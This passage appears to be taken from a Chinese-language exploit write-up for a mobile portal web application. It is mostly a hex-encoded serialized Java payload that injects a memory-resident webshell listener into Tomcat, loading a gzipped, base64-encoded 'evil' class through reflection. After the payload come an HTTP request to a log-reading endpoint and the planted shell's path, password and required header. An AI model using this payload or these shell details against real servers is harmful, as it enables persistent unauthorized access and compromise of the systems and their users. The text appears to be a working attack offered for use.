677514F4F4132375072367770317539666939663563514B765A794D726D465477426F487270765364665565676569354B666B743649783779347954654A464F7830716E5166573646727068534D314B5274757A516B4A3752593834633964364B74386B4D664A68465531784777534E325231646A636D635757464A54744C7266695866353851363857794177714A72366C715A64756D5A76364658464969796A38563638547A7237666A6274574B7244534B6F4A6E676E6B56696F6E503444484A4C6366444741707171545968356B355366332B3663795A3755632B7A7A2B4B6A306B65506B34736C724B614D4F582B584352723253382B6955394A2B68396E346562334E5971586B72714F7667574C72556972797A73786A7339496E7A2F72646E646E746A63567A577278446B4E5078475A736F303879305562567A4F61705857392B32565A486375507337757A61644F59324F62644770736F4D6B59772B6C4B424D78495A7A4A626D704C4335795A466B326A356143484C4F6378444371435A573559592F79374C6841383539744F6F427A4F432B6A633448376C2B79563262536530524A32422F714B7249575475466751726C6D562B6251667033435A75715A7537644130325557647732444E51536C7742562F3159774A6659786369654D484F644C58652B4130384B78572F79646A546D2B50485A556261325A755A4F754D556E48376B415951484D7961336D5530326A42696D3174433249396F2B6C66515A483735486A4B4755753575755734436C71583777412F78516376416A3170426A33366C454833376946485350627356545A483137456279424F586A4634754167304E525038544E7036756343792B65545576424C4670475248453064345271324653467A344272352F54562B34386576384673467939316532534133756F5932753148343841646E363879543979666164516A7734532F556147707533444B3075616D787562465A333751707473324876334830514C3237576575782B763247466666684832796B4233713635526272546A583638452B7359696C3651557834654F5657787938664955387A396E32586666667853624776355878727034626766566C6F41746548676E382F43793055664F4573376767462F335557485763345651492F72374C4B6753722B4C554D466E774B4F47752B4C6248422B4B4C695165796B705A5A6548366961775A47484D4655525A61574E574F586F75706E78616A4342526857794E4C767074584B43554B672F5665656F755465426C702F4E775A625A4C4E3832414B7339446C6450496368767135626A526864707361394C354D77555161326441694477454E32506362454F736D6F49516A314E4434647956756878614C324E6A547A6A30464F34346A35306C4C4C556E70312F34304A464439324E344E425365774E376538486E63493944696E5552662F775432743552576C77595063504265442F627A385642392F76472B61712F373741322B696A4461655178374544544F49645653566C31574F6F6D6A2F58493468327A516D4D43784846347A695A4C2B554134503576446D4362796C75697845344C634C355043654842374E34554D356643534854315358357644452F6E47557470534E773974375268364B324C556D7359624A63524758656666596E485177437341476A7462794C3451493674434D4D452B3539646A4E4533556652776235675A314349305A784378376D2B656763443243544A506769576F6930466338774353576E6E664C55675459697269567A45547943645668504F38313469425A71474E7674654D43325569705A7A584E2F7865586568777530487161767A527864442B394C4E464F6D6F45524267344B4E43686F564E436B304C6853732B51394547323879746A79353876707036736A7957474F4876354D6A306B7059394E514644357A4435344B48654C6D4D78703578565066577A586A7A74586A4834654576664E724F37635659516F796C39476D31684B6533334159354C6C476635326F6B366C625249325051577838383851537136706B666B305261314F4B747A2B4653372F684C4C34536652574153702F705A4A4D38384866626D38505577466235316D7634745169577A3735544C66794E5A414859536678665A362B42734A2B65374B48455855336F3345377162334F77686F33735A6B5832556A3970634E39475035667A2F504C374156644D6A6642476E6254613334677A72694A2F734A4F704C2B444C762F443744557A687252774A636E2F64464B416F6D464A7A7356584371504443444F6947504D2B35695832515135574C486774382F68782F336849505065792F695A4C386E32426E4E345264685A686E66542F523736766A36753876346666353375696634523271516E543937714546687766734A5372563471386E466738472F7A6B53713973364859396672526E6F2F6C61307236424C3444564347677877644942763363723248794E46394E6975336336614D4F665163563176436D5233326B34667A396667322B66465334303579396832372B73667947546947373971634E5474643471684D72476C533844394B79414D535A78494141413D3D0800100100063C696E69743E010015284C6A6176612F6C616E672F537472696E673B29560C001200130A000F00140100032829560100136A6176612F6C616E672F457863657074696F6E07001701000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100086C697374656E65720100124C6A6176612F6C616E672F4F626A6563743B010007636F6E74657874010008636F6E74657874730100104C6A6176612F7574696C2F4C6973743B010004746869730100274C636F6D2F666173746572786D6C2F6A61636B736F6E2F726A2F4E6574776F726B5574696C733B0100164C6F63616C5661726961626C65547970655461626C650100244C6A6176612F7574696C2F4C6973743C4C6A6176612F6C616E672F4F626A6563743B3E3B01000E6A6176612F7574696C2F4C6973740700240100126A6176612F7574696C2F4974657261746F7207002601000D537461636B4D61705461626C650C001200160A0004002901000A676574436F6E7465787401001228294C6A6176612F7574696C2F4C6973743B0C002B002C0A0002002D0100086974657261746F7201001628294C6A6176612F7574696C2F4974657261746F723B0C002F00300B002500310100076861734E65787401000328295A0C003300340B002700350100046E65787401001428294C6A6176612F6C616E672F4F626A6563743B0C003700380B0027003901000B6765744C697374656E6572010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003B003C0A0002003D01000B6164644C697374656E6572010027284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F4F626A6563743B29560C003F00400A000200410100046B6579310100086368696C6472656E0100134C6A6176612F7574696C2F486173684D61703B0100036B657901000B6368696C6472656E4D61700100067468726561640100124C6A6176612F6C616E672F5468726561643B010001650100154C6A6176612F6C616E672F457863657074696F6E3B010007746872656164730100135B4C6A6176612F6C616E672F5468726561643B07004D0100106A6176612F6C616E672F4F626A65637407004F0100106A6176612F6C616E672F5468726561640700510100116A6176612F7574696C2F486173684D61700700530100136A6176612F7574696C2F41727261794C6973740700550A0056002901000A6765745468726561647308005801000C696E766F6B654D6574686F64010038284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F4F626A6563743B0C005A005B0A0002005C0100076765744E616D650C005E00060A0052005F01001C436F6E7461696E65724261636B67726F756E6450726F636573736F72080061010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A0C006300640A000F006501000674617267657408006701000567657446560C0069005B0A0002006A01000674686973243008006C0800440100066B657953657401001128294C6A6176612F7574696C2F5365743B0C006F00700A0054007101000D6A6176612F7574696C2F5365740700730B007400310100036765740C0076003C0A00540077010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C0079007A0A0050007B01000F6A6176612F6C616E672F436C61737307007D0A007E005F01000F5374616E64617264436F6E74657874080080010003616464010015284C6A6176612F6C616E672F4F626A6563743B295A0C008200830B00250084010015546F6D636174456D626564646564436F6E74657874080086010015676574436F6E74657874436C6173734C6F6164657201001928294C6A6176612F6C616E672F436C6173734C6F616465723B0C008800890A0052008A010008746F537472696E670C008C00060A007E008D010019506172616C6C656C576562617070436C6173734C6F6164657208008F01001F546F6D636174456D626564646564576562617070436C6173734C6F616465720800910100097265736F757263657308009308001D01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E070096010018284C6A6176612F6C616E672F5468726F7761626C653B29560C001200980A009700990100206A6176612F6C616E672F496C6C6567616C416363657373457863657074696F6E07009B01001F6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E07009D01002B6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E546172676574457863657074696F6E07009F0100095369676E617475726501002628294C6A6176612F7574696C2F4C6973743C4C6A6176612F6C616E672F4F626A6563743B3E3B0100136A6176612F6C616E672F5468726F7761626C650700A3010009636C617A7A427974650100025B4201000B646566696E65436C61737301001A4C6A6176612F6C616E672F7265666C6563742F4D6574686F643B010005636C617A7A0100114C6A6176612F6C616E672F436C6173733B01000B636C6173734C6F616465720100174C6A6176612F6C616E672F436C6173734C6F616465723B0100156A6176612F6C616E672F436C6173734C6F616465720700AD01000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C00AF00B00A005200B101000E676574436C6173734C6F616465720C00B300890A007E00B40C000500060A000200B60100096C6F6164436C617373010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0C00B800B90A00AE00BA01000B6E6577496E7374616E63650C00BC00380A007E00BD0C000A00060A000200BF01000C6465636F6465426173653634010016284C6A6176612F6C616E672F537472696E673B295B420C00C100C20A000200C301000E677A69704465636F6D7072657373010006285B42295B420C00C500C60A000200C70800A70700A60100116A6176612F6C616E672F496E74656765720700CB010004545950450C00CD00AA0900CC00CE0100116765744465636C617265644D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0C00D000D10A007E00D20100186A6176612F6C616E672F7265666C6563742F4D6574686F640700D401000D73657441636365737369626C65010004285A29560C00D600D70A00D500D801000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B0C00DA00DB0A00CC00DC010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C00DE00DF0A00D500E00100076F626A656374730100135B4C6A6176612F6C616E672F4F626A6563743B0100096C697374656E65727301000961727261794C6973740100154C6A6176612F7574696C2F41727261794C6973743B01000A6973496E6A6563746564010027284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F537472696E673B295A0C00E700E80A000200E901001B6164644170706C69636174696F6E4576656E744C697374656E65720800EB01005D284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C005A00ED0A000200EE01001C6765744170706C69636174696F6E4576656E744C697374656E6572730800F00700E30100106A6176612F7574696C2F4172726179730700F301000661734C697374010025285B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F7574696C2F4C6973743B0C00F500F60A00F400F7010019284C6A6176612F7574696C2F436F6C6C656374696F6E3B29560C001200F90A005600FA0A0056008401001C7365744170706C69636174696F6E4576656E744C697374656E6572730800FD010007746F417272617901001528295B4C6A6176612F6C616E672F4F626A6563743B0C00FF01000A00560101010001690100014901000D6576696C436C6173734E616D650100124C6A6176612F6C616E672F537472696E673B01000473697A650100032829490C010701080A005601090100152849294C6A6176612F6C616E672F4F626A6563743B0C0076010B0A0056010C01000C6465636F646572436C6173730100076465636F64657201000769676E6F7265640100096261736536345374720100144C6A6176612F6C616E672F436C6173733C2A3E3B01001673756E2E6D6973632E4241534536344465636F646572080113010007666F724E616D650C011500B90A007E011601000C6465636F64654275666665720801180100096765744D6574686F640C011A00D10A007E011B0100106A6176612E7574696C2E42617365363408011D01000A6765744465636F64657208011F0100066465636F64650801210100206A6176612F6C616E672F436C6173734E6F74466F756E64457863657074696F6E07012301000E636F6D70726573736564446174610100036F757401001F4C6A6176612F696F2F4279746541727261794F757470757453747265616D3B010002696E01001E4C6A6176612F696F2F427974654172726179496E70757453747265616D3B010006756E677A697001001F4C6A6176612F7574696C2F7A69702F475A4950496E70757453747265616D3B0100066275666665720100016E01001D6A6176612F696F2F4279746541727261794F757470757453747265616D07012E01001C6A6176612F696F2F427974654172726179496E70757453747265616D07013001001D6A6176612F7574696C2F7A69702F475A4950496E70757453747265616D0701320A012F0029010005285B4229560C001201350A01310136010018284C6A6176612F696F2F496E70757453747265616D3B29560C001201380A0133013901000472656164010005285B4229490C013B013C0A0133013D0100057772697465010007285B42494929560C013F01400A012F014101000B746F42797465417272617901000428295B420C014301440A012F01450100036F626A0100096669656C644E616D650100056669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B0100046765744601003F284C6A6176612F6C616E672F4F626A6563743B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C014B014C0A0002014D0100176A6176612F6C616E672F7265666C6563742F4669656C6407014F0A015000D80A0150007701001E6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E0701530100204C6A6176612F6C616E672F4E6F537563684669656C64457863657074696F6E3B0100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C015601570A007E015801000D6765745375706572636C6173730C015A007A0A007E015B0A0154001401000C7461726765744F626A65637401000A6D6574686F644E616D650100076D6574686F647301001B5B4C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100214C6A6176612F6C616E672F4E6F537563684D6574686F64457863657074696F6E3B0100224C6A6176612F6C616E672F496C6C6567616C416363657373457863657074696F6E3B01000A706172616D436C617A7A0100125B4C6A6176612F6C616E672F436C6173733B010005706172616D0100066D6574686F6401000974656D70436C6173730701610100126765744465636C617265644D6574686F647301001D28295B4C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0C016A016B0A007E016C0A00D5005F010006657175616C730C016F00830A000F0170010011676574506172616D65746572547970657301001428295B4C6A6176612F6C616E672F436C6173733B0C017201730A00D501740A009E001401000A6765744D6573736167650C017700060A009C01780A009700140100083C636C696E69743E0A0002002900210002000400000000000E00010005000600010007000000100001000100000004130009B0000000000001000A00060002000B000000040001000D000700000017000300010000000BBB000F59130011B70015B00000000000010012001600010007000000D800030005000000362AB7002A2AB6002E4C2BB9003201004D2CB90036010099001B2CB9003A01004E2A2DB7003E3A042A2D1904B60042A7FFE2A700044CB100010004003100340018000400190000002600090000002400040026000900270020002800270029002E002A0031002D0034002B00350030001A0000002A000400270007001B001C00040020000E001D001C000300090028001E001F00010000003600200021000000220000000C000100090028001E0023000100280000001A0004FF001000030700020700250700270000F9002042070018000001002B002C00030007000002D80003000E00000179BB005659B700574C12521259B8005DC0004EC0004E4D014E2C3A041904BE360503360615061505A2014119041506323A071907B600601262B600669900B32DC700AF19071268B8006B126DB8006B126EB8006BC000543A081908B60072B9007501003A091909B9003601009900801909B9003A01003A0A1908190AB60078126EB8006BC000543A0B190BB60072B9007501003A0C190CB90036010099004D190CB9003A01003A0D190B190DB600784E2DC6001A2DB6007CB6007F1281B6006699000B2B2DB900850200572DC6001A2DB6007CB6007F1287B6006699000B2B2DB90085020057A7FFAFA7FF7CA700771907B6008BC6006F1907B6008BB6007CB6008E1290B600669A00161907B6008BB6007CB6008E1292B600669900491907B6008B1294B8006B1295B8006B4E2DC6001A2DB6007CB6007F1281B6006699000B2B2DB900850200572DC6001A2DB6007CB6007F1287B6006699000B2B2DB90085020057840601A7FEBEA7000F3A04BB0097591904B7009ABF2BB0000100180168016B00180004001900000072001C00000033000800340016003500180037003100390042003A0058003D0077003E0088004100A7004200AF004300C2004400CA004600DD004700E5004800E8004900EB004A00EE004C011C004D012C004E013F004F01470050015A00510162003701680056016B0054016D005501770057001A00000066000A00A7003E0043001C000D0088006000440045000B007700710046001C000A0058009300470045000800310131004800490007016D000A004A004B00040000017900200021000000080171001E001F000100160163004C004D000200180161001D001C000300220000000C000100080171001E0023000100280000004F000EFF0023000707000207002507004E07005007004E01010000FE0040070052070054070027FE002F070050070054070027FC0035070050FA001AF80002F90002022D2AFA001AF80005420700180B000B000000080003009C009E00A000A10000000200A20002003B003C00010007000001700006000800000087014DB800B2B6008B4E2DC7000B2BB6007CB600B54E2D2AB600B7B600BBB600BE4DA700643A042AB600C0B800C4B800C83A0512AE12C906BD007E590312CA535904B200CF535905B200CF53B600D33A06190604B600D919062D06BD00505903190553590403B800DD5359051905BEB800DD53B600E1C0007E3A071907B600BE4DA700053A052CB00002001500210024001800260080008300A4000300190000003E000F0000005C0002005D0009005E000D005F001500620021006C0024006300260065003200660050006700560068007A00690080006B0083006A0085006D001A0000005200080032004E00A500A600050050003000A700A80006007A000600A900AA00070026005F004A004B00040000008700200021000000000087001D001C000100020085001B001C00020009007E00AB00AC000300280000002B0004FD00150700500700AE4E070018FF005E00050700020700500700500700AE07001800010700A4FA00010001003F0040000200070000011600070007000000702A2B2CB6007CB6007FB600EA990004B12B12EC04BD007E590312505304BD005059032C53B800EF57A700474E2B12F1B8005DC000F2C000F23A041904B800F83A05BB0056591905B700FB3A0619062CB600FC572B12FE04BD007E590312F25304BD005059031906B6010253B800EF57B1000100100028002B0018000300190000002E000B00000071000F0072001000750028007E002B0076002C0077003A007800410079004C007A0053007D006F007F001A000000480007003A003500E200E300040041002E00E4001F0005004C002300E500E60006002C0043004A004B00030000007000200021000000000070001D001C000100000070001B001C000200280000000A0003105A070018FB0043000B0000000400010018000100E700E800020007000000F100030007000000492B12F1B8005DC000F2C000F24E2DB800F83A04BB0056591904B700FB3A0503360615061905B6010AA2001F19051506B6010DB6007CB6007F2CB6006699000504AC840601A7FFDD03AC00000003001900000022000800000082000D008300130084001E0085002B0086003F0087004100850047008A001A000000480007002100260103010400060000004900200021000000000049001D001C000100000049010501060002000D003C00E200E300030013003600E4001F0004001E002B00E500E600050028000000200003FF0021000707000207005007000F0700F20700250700560100001FFA0005000B0000000400010018000800C100C20002000700000105000600040000006F130114B801174C2B13011904BD007E5903120F53B6011C2BB600BE04BD005059032A53B600E1C000CAC000CAB04D13011EB801174C2B13012003BD007EB6011C0103BD0050B600E14E2DB6007C13012204BD007E5903120F53B6011C2D04BD005059032A53B600E1C000CAC000CAB000010000002C002D0018000400190000001A00060000009000070091002D0092002E00930035009400490095001A00000034000500070026010E00AA000100490026010F001C0003002E00410110004B00020000006F0111010600000035003A010E00AA0001002200000016000200070026010E011200010035003A010E0112000100280000000600016D070018000B0000000A00040124009E00A0009C000900C500C600020007000000D4000400060000003EBB012F59B701344CBB0131592AB701374DBB0133592CB7013A4E110100BC083A042D1904B6013E5936059B000F2B1904031505B60142A7FFEB2BB60146B00000000300190000001E00070000009A0008009B0011009C001A009D0021009F002D00A0003900A2001A0000003E00060000003E012500A60000000800360126012700010011002D012801290002001A0024012A012B00030021001D012C00A60004002A0014012D0104000500280000001C0002FF002100050700CA07012F0701310701330700CA0000FC001701000B000000040001000D00080069005B000200070000005700020003000000112A2BB8014E4D2C04B601512C2AB60152B00000000200190000000E0003000000A6000600A7000B00A8001A000000200003000000110147001C0000000000110148010600010006000B0149014A0002000B00000004000100180008014B014C00020007000000C700030004000000282AB6007C4D2CC600192C2BB601594E2D04B601512DB04E2CB6015C4DA7FFE9BB0154592BB7015DBF0001000900150016015400040019000000260009000000AC000500AD000900AF000F00B0001400B1001600B2001700B3001C00B4001F00B6001A000000340005000F00070149014A000300170005004A01550003000000280147001C0000000000280148010600010005002300A900AA000200220000000C00010005002300A90112000200280000000D0003FC000507007E5007015408000B00000004000101540028005A005B0002000700000042000400020000000E2A2B03BD007E03BD0050B800EFB0000000020019000000060001000000BA001A0000001600020000000E015E001C00000000000E015F01060001000B000000080003009E009C00A00029005A00ED000200070000021700030009000000CA2AC1007E99000A2AC0007EA700072AB6007C3A04013A0519043A061905C700641906C6005F2CC700431906B6016D3A0703360815081907BEA2002E1907150832B6016E2BB601719900191907150832B60175BE9A000D19071508323A05A70009840801A7FFD0A7000C19062B2CB600D33A05A7FFA93A071906B6015C3A06A7FF9D1905C7000CBB009E592BB70176BF190504B600D92AC1007E99001A1905012DB600E1B03A07BB0097591907B60179B7017ABF19052A2DB600E1B03A07BB0097591907B60179B7017ABF0003002500720075009E009C00A300A4009C00B300BA00BB009C000300190000006E001B000000BE001400BF001700C1001B00C2002500C4002900C6003000C7003B00C8005600C9005D00CA006000C7006600CD006900CE007200D2007500D0007700D1007E00D2008100D4008600D5008F00D7009500D8009C00DA00A400DB00A600DC00B300E000BB00E100BD00E2001A0000007A000C003300330103010400080030003601600161000700770007004A0162000700A6000D004A0163000700BD000D004A01630007000000CA0147001C0000000000CA015F01060001000000CA016401650002000000CA016600E30003001400B600A900AA0004001700B3016700A80005001B00AF016800AA000600280000002F000E0E4307007EFE000807007E0700D507007EFD0017070169012CF9000502084207009E0B0D5407009C0E4707009C000B000000080003009E00A0009C0008017B001600010007000000250002000000000009BB000259B7017C57B10000000100190000000A0002000000210008002200007074000131707701007871007E000D78;\"}|","appId":"","channelId":"","title":"","content":"","serverId":"","readOnly":"","deviceFirm":"other","sendMember":"","receiverMember":"","sendId":"","toId":"","ring":"","shake":"","extValue":{}}]

1727166101869-2d1f5a7d-bab2-409e-9662-50b484e3e030.png

GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

1727166168692-f0d6d1f1-6b6c-4fc9-9f34-ab4848a32525.png

路径：/mobile_portal/x
密码：FarAhead2201
请求头：X-Requested-With: XMLHttpRequest2

1727166222836-7f409872-2106-4a2a-ab2b-9eac9bea452e.png

1727166242747-e4f80277-256e-4b1f-9ca7-f24e5ea7712c.png

原文: https://www.yuque.com/xiaokp7/ocvun2/kersloa42x89pcgg